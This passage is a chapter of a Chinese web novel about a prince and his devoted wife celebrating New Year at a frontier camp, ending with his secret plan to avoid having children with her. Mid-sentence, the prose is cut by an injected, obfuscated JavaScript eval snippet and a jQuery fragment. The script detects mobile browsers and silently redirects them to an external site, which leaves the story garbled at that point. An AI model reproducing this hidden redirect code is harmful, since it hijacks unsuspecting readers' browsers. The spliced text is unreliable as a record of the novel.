魏珩看了一眼仅供一人入睡的小榻,对明显受了欺负,却还要依偎他的乖巧小妻道:“你睡矮榻,我去拿一床铺盖。” 在外行军,除却高阶军将,其余的兵丁小卒全是地上铺一层薄毯,卷着冬被,席地入睡。 魏珩料想女孩家细皮嫩肉,没吃过这样的苦头,也不欲在这种细枝末节的小事上折磨妻子,因此他主动让出一张木榻,供沈青棠入睡。 沈青棠看着处处为自己考虑的夫君,心中饮蜜似的甜。 待魏珩打理好铺盖,被窝垛子陡然掀开一角,凉风灌入,竟是沈青棠泥鳅似的悄无声息滑到了他的身旁。 女孩抬起一双水光潋滟的杏眼,羞赧又腼腆地央求:“我和王爷一块儿睡。” 魏珩看着“没苦硬吃”的沈青棠,缄默片刻,终是什么都没说。 他的沉默,代表了无声的纵容。 沈青棠是个顺杆上爬的货,她吃到过一次亲近夫君的甜头,眼下见魏珩没有抵抗之色,便愈发大胆。 她小心翼翼捞过他的手臂,好似囤食的田鼠一般,紧紧抱住那一只坚实遒劲的臂骨,蹭了蹭脸,乖乖入睡。 许是战役平稳,过两日便要拔营回城。 魏珩没有记挂的军务,这一觉又睡到了天光大亮。 暖融融的阳光照入盖满羊羔皮子的主帐,泼了满地金芒。 帐篷一隅炭盆已熄,残留一片枯白的草木灰。 魏珩自睡梦中醒来,下意识动了下手指,一侧空空如也,一贯贪睡的沈青棠早已不知所踪。 他摁了下涩痛的额角,起身洗漱穿衣。 近日诸军英勇厮杀,战事大捷,也该趁着年关,设下一场犒赏三军的庆功宴。 魏珩打算吩咐火头军备膳设宴,刚入灶营,就听一阵愉悦的笑声,竟是早起的沈青棠一边擀面,一边指挥毛手毛脚的灶丁调馅儿。 女孩今日穿着一身报春花的袄裙,为图方便,取桂红丝绦随意拧了两个环髻。她的身姿娇小,腰肢纤细,站在一群五大三粗的兵丁中央,显得羸弱瘦小,我见犹怜。 明明是和一群军将相处,沈青棠却没有半点不自在,反倒抬袖抹了一把颊边的汗水,大大方方问一旁的兵卒焦庆:“咱们此次行军一共调了多少兵马啊?什么?三万人?那这点包子也不够这么多人分啊。” 要知道一人一个时辰约莫可以包一百二十个包子,一天下来至多也就包一千个。 虽说火头军的灶丁多,可揉包子费时费力,还要将冻在雪泥里的羊腿化冻、剁馅儿,方能裹入面皮,制成包子。倒不如直接炙烤羊肉、煮汤焖饭来得方便。 这也是为何将士们平时餐饮不拘小节,大口吃肉,大碗喝酒的原因……实在是军情紧急,出门在外能方便一顿是一顿。 焦庆闻到笼屉里散出的包子香气,咽了咽口水:“那不然咱们一块儿动手包,随便包上几锅,王妃给王爷送去两屉,再给江老将军、柳副官各送一屉,其余的咱们哥几个分了得了。” 围观的灶丁们闻到香喷喷的羊肉包子味,连连点头:“就是就是……” 能吃上一口就行了,谁管战友弟兄的死活? 可不等沈青棠回答,一旁的孟刚忽然朝着焦庆猛踹一脚,将焦庆踹得一个趔趄。 孟刚下脚真黑,焦庆一个趔趄,险些摔进锅里。 他平白挨了一下,痛得捂住屁股,怒目大骂:“孟刚你疯了?!我和王妃讨包子吃,你踢我作甚?” 孟刚朝他疯狂眨眼,又迅速撇清干系:“这可是王妃亲手给王爷包的羊肉包子,你我怎么能贪呢?!” 孟刚这般反常,焦庆若是再不懂兄弟的暗示,他真的白活了。 果不其然。 焦庆抬头望向帐门,恰好迎上一双锋锐似剑的寒目。 正是抱臂而立、审视已久的魏珩。 焦庆吓得一个激灵,连连拉着兵丁们行礼:“王爷,您来了!” 魏珩冷淡地嗯了一声,又上前牵过沈青棠,取帕子擦拭她脸上面粉,“怎么忽然想到蒸包子?” 沈青棠就是个实心眼的女子,她从前在匪寨里生活,也时常去旁人家中串门儿,不是帮着婶婶婆婆们烧灶劈柴,就是帮着剖鱼、炖肉,她不觉得帮忙蒸一锅包子有何不妥。 沈青棠傻兮兮地朝魏珩笑:“已经是元月了,我想着王爷行军在外,连一桌像样的年夜饭都没吃上,正好我闲暇得空,想为王爷置办一顿吃食。” 原来是为魏珩的衣食住行费心,怪道这般早就醒来操劳。 许是知道沈青棠一片好心,魏珩没有苛责她,只说了一句:“莫要太过劳累。” 得知魏珩醒了,沈青棠没在灶帐待太久。 她蒸了几屉羊肉包子就收了手,知道魏珩用完早膳又得巡营务公,还给他熬上一锅添了红枣、核桃、松子等等果子杂料的七宝五味粥,免得肉食下肚,脾胃不克化。 夜里,军帐里设宴,沈青棠没有去凑热闹,反而就着灶丁送来的小宴,吃了个痛快。 沈父死于契丹人之手,沈青棠与契丹有着不共戴天的血海深仇。 沈青棠敬重这些保家卫国的魏家军,不会给魏珩添堵添乱。 她老实巴交守在主帐里等待魏珩忙完回帐。 她等得昏昏欲睡,却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781143|209146||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 想熄灯先睡。 直到药枕的冰片、薄荷叶散出甘洌清爽的香气,诱得人昏昏欲睡,沈青棠终于抵抗不住上涌的困意,眼睛一眯,便倒在了被褥里。 等魏珩宴散回帐,恰好看到沈青棠和衣躺下,以一种别扭的姿势,垫着软枕,睡得香甜。 帐中燃着一豆黄澄澄的烛光,黯淡的火光落到沈青棠的眉眼,将她的柳眉俏鼻渡上一层圆融的柔光。 许是烛焰微弱,沈青棠的眼睫落下一重灰扑扑的剪影,好似一丛雪山黑松,映在丰腴柔软的脸颊两端。 她睡得极沉,极安心,即便魏珩悄然走近,她亦没有觉察端倪,自顾自沉溺梦乡。 这般全心全意信赖魏珩的模样,好似一条认了主的小狗。 小狗很忠心,很乖,很喜欢它的主人。 小狗会永远对主人笑,即便它不知道,自己终有一日会被主人舍弃。 魏珩静默一瞬,不知为何,他竟鬼使神差伸出手,揉了揉沈青棠的脑袋。 许是魏珩摸头的动作太痒,沈青棠竟硬生生被他闹醒了。 睁眼的瞬间,沈青棠犹在梦中,眼眸如同覆了一层雾气,影影绰绰看不真切。 继而,视线变得清明,她看清了眼前的男人,也看到魏珩那张得天独厚的秀致面庞。凤眸湛黑狭长,如蒙阴翳,眉峰走势凛冽,不好相与。 偏偏他这样寡情性冷的人,竟有最挺拔俊俏的鼻,最嫣红单薄的唇,五官疏朗清绝,勾人心弦。 很久以前,沈青棠便觉得魏珩生得好看,果然这么多年过去,美少年也长成了大美人。 “魏珩,新年喜乐。” 她困意未消,她第一次唤他的名字,她把他当成朝夕相处的枕边人,她没有毕恭毕敬唤他“王爷”。 沈青棠从榻上爬起来,献宝似的取出一个包袱。 打开绳结,里头装着可以手持燃放的花筒、一双手工裁制的三指鹿皮手套。 这种皮制手套难裁,要鞣皮,打孔,缝制布料,极其麻烦,可胜在轻薄御寒,合适持弓搭箭。 沈青棠很有巧思,还在勾弦的骨节处多缝了一层棉布,防止弓弦割伤手指。 这是擅长弓马之人,方能注意到的防护细节,可见沈青棠为他花了不少心思。 沈青棠将年节礼物送给魏珩,又拉着魏珩外出燃放烟火。 五光十色的焰火,自那一管窄窄的纸筒里簌簌喷出。 可塞外天寒地冻,那点烟火不过绽放一瞬就被风雪吹熄,连同光亮一起消失无踪。 好似被暗无天日的夜吞噬殆尽。 不禁玩的小东西,却极讨沈青棠的喜欢。 沈青棠再次燃起了花筒。 绚烂的光芒照亮沈青棠的脸,映入她那两丸泠泠如墨玉的眸子。 烟花在她的杏眸里炸开,流光溢彩,灿烂如天上星瀑。 花筒放完了,沈青棠又喊魏珩过来堆雪人:“过年就要这样玩的,王爷,你快来!” 她知道魏珩不屑于玩这些稚童的游戏,但她还是任性地要他陪她。 沈青棠做事认真,即便堆雪人也很有章法。 取草叶梳成头发,取石子抿作眼睛,最后搓出细细的手、大大的肚子、圆圆的脑袋。 她一口气堆了三个雪人。 两大一小。 沈青棠目光躲闪,清了清嗓子:“这是你,这是我……” 魏珩挑眉,指着最中间那个小小的雪人,嗓音慵懒低哑地问她:“那它呢?” 沈青棠的耳朵变红,不敢看魏珩的眼睛。 她嘿嘿一笑,说不出话。 沈青棠没好意思说,他们是夫妻嘛,这般生活下去,日后定会怀胎生子。 他们会有一个孩子。 眼睛鼻子像魏珩,眉毛嘴唇像她。 魏珩的眼睛很漂亮,鼻梁也高挺,小孩像他才好看。 到时候,魏珩教孩子读书写字,她就教孩子骑马射箭,日子就这么欢欢喜喜地过下去。 老实说,沈青棠已经开始喜欢魏珩了…… 等到日后,她的喜欢会越来越多。 他终会成为沈青棠的依靠,与她厮守一生,永永远远生活在一起。 - 夜里,沈青棠玩累了,沐浴换衣后,便在主帐中睡下。 夜幕深沉,魏珩披衣起身,顶风冒雪来到了一侧军帐。 帐中,巫医跪地献药,将那一纸写满药材的方子,奉于魏珩的面前,“王爷,男子服用的秘药已成,只需每十日服下一帖,便能避免孕事,不令女子怀胎。” 魏珩淡然收下药方子,将其掩入袖中。 莫名的,魏珩想起今晚的事。 沈青棠拉着他玩一些小孩的把戏。 她蹲着身子,背对着他,堆垒雪人。 明明风雪渐大,手指都冻得通红,她却玩得不亦乐乎。 沈青棠一面偷偷描摹魏珩的眉眼,一面小心翼翼□□雪人的眼窝、眉骨。 她捏了一家三口。 一个沈青棠,一个魏珩,还有一个未曾出世的孩子。 在这一刻,魏珩似乎明白了,沈青棠入戏太深,她已开始期盼日后,期盼与他有一个美满结局。 但很可惜,他虽娶她为妻,却从未许诺过沈青棠,要与她长相厮守。 他们早晚有一日会和离。 魏珩总有一天,会义无反顾舍下她。 他不会给她留下子嗣。